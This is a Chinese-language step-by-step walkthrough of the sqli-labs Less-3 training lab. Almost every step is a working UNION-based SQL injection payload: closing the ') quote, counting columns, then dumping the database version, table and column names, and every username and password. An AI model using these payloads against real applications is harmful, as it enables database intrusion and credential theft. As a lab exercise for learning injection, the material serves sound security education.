sqli-labs Less-3

Less-3 GET - Error based -Single quotes with twist- String
1.原页面sqli-labs Less-3
2.?id=1sqli-labs Less-3
3.?id=1’sqli-labs Less-3
‘ ‘1’’) LIMIT 0,1 ‘ --> ‘1’’) LIMIT 0,1 --> ‘1’) LIMIT 0,1 -->
(‘1’) LIMIT 0,1

SQL:
Select login_name,password from admin where id =(‘id’) limit 0,1

4.闭合单引号
http://127.0.0.1/sqli/Less-3/?id=1’)–+

SQL:
Select login_name,password from admin where id=(‘1’)–+’)limit 0,1;
sqli-labs Less-3
5.查询字段
?id=1’) order by 3–+
sqli-labs Less-3
?id=1’) order by 4–+sqli-labs Less-3
找到最大的不报错的数字,可以判断该表的字段长度为3

6.查询回显点
?id=0’) union select 1,2,3–+sqli-labs Less-3
由此可知回显为第二,第三个字段,所以我们之后查询的内容要放在第二,第三字段才会显示;(注意union查询 id要报错)

7.查询数据库版本信息
?id=0’) union select 1,version(),3–+sqli-labs Less-3
8.查询当前数据库和用户
?id=0’) union select 1,database(),user()–+
sqli-labs Less-3
得知数据库名为security

9.查询表名
?id=0’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3–+sqli-labs Less-3
得到security数据库的所有表名,我们拿users

10.查询列名
?id=0’) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3–+sqli-labs Less-3
得到users表里所有列名,拿username,password

11.查询用户名和密码
?id=0’) union select 1,group_concat(username,0x3a,password),3 from users–+
注:0x3a ‘:’字符的十六进制值sqli-labs Less-3